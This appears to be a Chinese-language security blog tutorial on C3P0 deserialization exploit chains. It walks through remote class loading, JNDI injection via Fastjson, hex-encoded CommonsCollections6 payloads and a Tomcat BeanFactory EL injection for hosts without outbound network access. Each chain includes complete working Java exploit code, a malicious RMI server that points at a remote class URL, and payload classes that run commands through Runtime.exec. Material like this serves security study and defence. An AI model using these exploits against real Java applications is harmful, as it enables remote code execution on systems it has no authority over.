C3P0介绍 C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。 使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
环境搭建 <dependency > <groupId > com.mchange</groupId > <artifactId > c3p0</artifactId > <version > 0.9.5.2</version > </dependency >
利用方式 C3P0的常见利用方式有三种:
URLClassLoader远程类加载
JNDI注入
利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader远程类加载 调用链
PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject -> ObjectFactory#getObjectInstance
流程分析 首先来看PoolBackedDataSourceBase#readObject方法
漏洞的触发入口就在这,如果反序列化得到的Object为IndirectlySerialized,就会调用其getObject方法
IndirectlySerialized是一个接口,他的实现类就是ReferenceSerialized,那接下来去看看他的getObject方法
ReferenceSerialized类是ReferenceIndirector的一个内部类,而且可以看到这里其实已经出现了initialContext.lookup方法,但是我们在反序列化的时候其实是无法调用该方法的,因为contextName默认为null且不可控
那继续往下看ReferenceableUtils#referenceToObject方法
可以看到这里就利用了URLClassLoader来进行远程类加载,只需要我们设置远程工厂类地址fClassLocation
那现在还有一个问题,我们要如何构造ReferenceSerialized这个类呢,这个类从上面我们可以知道是一个私有的类,我们无法直接获取,那就看一下有谁调用了他的构造方法
可以发现在外部类ReferenceIndirector#indirectForm方法里面进行了调用
但是这个方法我们不方便调用,所以继续往上找,发现在PoolBackedDataSourceBase#writeObject方法里面进行了调用,所以我们在正常序列化的流程中就可以完成这个操作
这里其实有两个indirectForm方法的调用,但是我们选择这个参数为ConnectionPoolDataSource的方法
我们可以看一下他走到这里的逻辑,可以看到他先尝试序列化ConnectionPoolDataSource,如果抛出不能反序列化的异常,他就会调用这个indirectForm方法
我们看一下这个类
它本身是没有实现序列化接口的,那么我们只要找一个他的实现类且没有实现序列化接口就可以抛出异常,从而走到indirectForm方法的逻辑,或者自己实现这个接口也可以
利用链构造 那现在我们就可以进行exp的编写了
这里采用自己实现ConnectionPoolDataSource接口的方法,而且这里我们还需要自己实现一个Referenceable接口,因为indirectForm方法里面传入Reference对象的方式不太一样
这里是调用一个getReference方法来获取Reference对象的
最终exp如下:
package org.example.exp;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class C3P0_URLClassloader { public static class EXP_Loader implements ConnectionPoolDataSource , Referenceable{ @Override public Reference getReference () throws NamingException { return new Reference ("ExpClass" ,"exp" ,"http://127.0.0.1:8888/" ); } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void Pool_Serial (ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource" ); field.setAccessible(true ); field.set(poolBackedDataSourceBase,c); FileOutputStream fos = new FileOutputStream (new File ("exp.bin" )); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(poolBackedDataSourceBase); } public static void Pool_Deserial () throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream (new File ("exp.bin" )); ObjectInputStream objectInputStream = new ObjectInputStream (fis); objectInputStream.readObject(); } public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { EXP_Loader exp_loader = new EXP_Loader (); Pool_Serial(exp_loader); Pool_Deserial(); } }
恶意类
import java.io.IOException; public class exp { public exp () throws IOException { Runtime.getRuntime().exec("calc" ); } }
然后去起一个8888端口的服务器,恶意类放在服务器下即可
JNDI注入 该链子依赖于Fastjson和Jackson反序列化漏洞
利用链
#修改jndiName JndiRefConnectionPoolDataSource#setJndiName -> JndiRefDataSourceBase#setJndiName #JNDI调用 JndiRefConnectionPoolDataSource#setLoginTimeout -> WrapperConnectionPoolDataSource#setLoginTimeout -> JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
可以看到利用链都是从setter方法开始的,所以就可以很好配合fastjson或者Jackson利用链
流程分析 其漏洞点在于JndiRefConnectionPoolDataSource类中,该类有许多的setter和getter方法,其中我们可以通过setJndiName方法来给属性jndiName赋值
他这里调用JndiRefConnectionPoolDataSource#setJndiName方法的时候,会再跳到JndiRefDataSourceBase#setJndiName方法
修改了name之后我们就需要去触发调用,利用到的是JndiRefConnectionPoolDataSource#setLoginTimeout方法
然后调用WrapperConnectionPoolDataSource#setLoginTimeout方法
这里的getNestedDataSource返回的是JndiRefForwardingDataSource,因此这里调用的最终是JndiRefForwardingDataSource#setLoginTimeout
然后就是进入inner()方法
在dereference()方法触发了jndi调用
利用链构造 选个低版本的fastjson来做例子
package org.example.exp;import com.alibaba.fastjson.JSON;import java.sql.SQLException;public class JNDI_Attack { public static void main (String[] args) throws SQLException { String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " + "\"LoginTimeout\":0" + "}" ; JSON.parse(payload); } }
恶意rmi服务
package org.example.exp;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMI_Server { void register () throws Exception{ LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("exp" ,"exp" ,"http://127.0.0.1:8888/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper (reference); Naming.bind("rmi://127.0.0.1:1099/hello" ,refObjWrapper); System.out.println("Registry运行中......" ); } public static void main (String[] args) throws Exception { new RMI_Server ().register(); } }
恶意类用前面远程类加载的那个
利用HEX流加载任意类 该利用链能够反序列化一串十六进制字符串
利用链
#设置userOverridesAsString属性值 WrapperConnectionPoolDataSource#setuserOverridesAsString -> WrapperConnectionPoolDataSourceBase#setUserOverridesAsString #初始化类时反序列化十六进制字节流 WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource -> C3P0ImplUtils#parseUserOverridesAsString -> SerializableUtils#fromByteArray -> SerializableUtils#deserializeFromByteArray -> ObjectInputStream#readObject
流程分析 该链子的成因是因为WrapperConnectionPoolDataSource的构造方法中对属性userOverrides的赋值存在异样写法
这里调用C3P0ImplUtils#parseUserOverridesAsString方法将userOverrides解析成String,但userOverrides本身就是String类型,我们跟进去看看这个方法做了什么
这里会将userOverrides的HASM_HEADER变量后面的十六进制字符串截取出来,HASM_HEADER的值为”HexAsciiSerializedMap”,还会将最后一位给去掉,所以我们后面设置变量的值的时候要加上这个字符串,而且最后一位加上多一个字符比如”;”来占位
然后解析该十六进制字符串为字节数组,并调用SerializableUtils#deserializeFromByteArray方法来处理字节数组,继续跟进去看看
欸看到这个方法就很熟悉,字面意思就是反序列化该字节数组,再跟进去
就可以看到直接调用了readObject方法
利用链构造 上面的利用链构造就很简单了,直接用cc6的字节码来做示例
这里就直接用的枫师傅的exp,使用的是fastjson来触发利用链
package org.example.exp;import com.alibaba.fastjson.JSON;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.beans.PropertyVetoException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.StringWriter;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Hex_Attack { public static Map CC6 () throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object> hashMap1=new HashMap <>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"abc" ); HashMap<Object,Object> hashMap2=new HashMap <>(); hashMap2.put(tiedMapEntry,"eee" ); lazyMap.remove("abc" ); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii (byte b, StringWriter sw) { int ub = b & 0xff ; int h1 = ub / 16 ; int h2 = ub % 16 ; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit (int h) { char out; if (h <= 9 ) out = (char ) (h + 0x30 ); else out = (char ) (h + 0x37 ); return out; } public static byte [] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii (byte [] bytes) { int len = bytes.length; StringWriter sw = new StringWriter (len * 2 ); for (int i = 0 ; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); System.out.println(hex); String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" + "}" ; JSON.parse(payload); } }
低版本fastjson也可以直接用简单一点的payload
String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}";
特殊的地方
但根据上面的利用流程来看,如果配合fastjson的链子,这里我们的WrapperConnectionPoolDataSource类至少需要调用两次构造方法,第一个次是调用我们的setter方法,第二次是调用构造方法触发链子
关键的地方就在他的setUserOverridesAsString方法里面,我们去看一下
当我们调用该setter时,首先会与旧的userOverridesAsString
属性比较,这里旧值为null
,新值为我们构造的userOverridesAsString
,因此这里会进入if判断。
一路跟进方法,最终到WrapperConnectionPoolDataSource#vetoableChange
方法
这里propName就是userOverridesAsString,我们会走到这个判断里面,然后直接调用C3P0ImplUtils#parseUserOverridesAsString方法对我们传入的十六进制字符串进行解析,就减少了一次需要调用构造函数的操作
C3P0不出网利用 C3P0不出网的利用条件较为苛刻,而且需要存在Tomcat8的依赖环境
跟jndi高版本绕过类似,但是jndi高版本绕过还没学,体会不到,所以先空一下到时再补🫡
十二月份有机会来补一下了🫡
jdni的高版本绕过中,我们知道有一种方式就是利用Tomcat的BeanFactory的getObjectInstace方法,来进行EL表达式的注入
回头看前面远程类加载中的ReferenceableUtils#referenceToObject方法
欸可以发现,这里完美的符合jndi高版本绕过的方式,只要将这个Factory设置为BeanFactory即可,然后就可以在不出网的情况下进行jndi注入了
先导入下面三个类方便利用测试
<dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.55</version > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-el-api</artifactId > <version > 8.5.55</version > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-jasper-el</artifactId > <version > 8.5.55</version > </dependency >
利用链构造 我们知道BeanFactory需要传入ResourceRef类,我们在getReference方法中返回ResourceRef即可
package org.example.exp;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class NoInternet_Attack { public static class EXP_Loader implements ConnectionPoolDataSource , Referenceable { @Override public Reference getReference () throws NamingException { ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); return ref; } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void Pool_Serial (ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource" ); field.setAccessible(true ); field.set(poolBackedDataSourceBase,c); FileOutputStream fos = new FileOutputStream (new File ("exp.bin" )); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(poolBackedDataSourceBase); } public static void Pool_Deserial () throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream (new File ("exp.bin" )); ObjectInputStream objectInputStream = new ObjectInputStream (fis); objectInputStream.readObject(); } public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { EXP_Loader exp_loader = new EXP_Loader (); Pool_Serial(exp_loader); Pool_Deserial(); } }
参考 https://goodapple.top/archives/1749
https://forum.butian.net/share/2868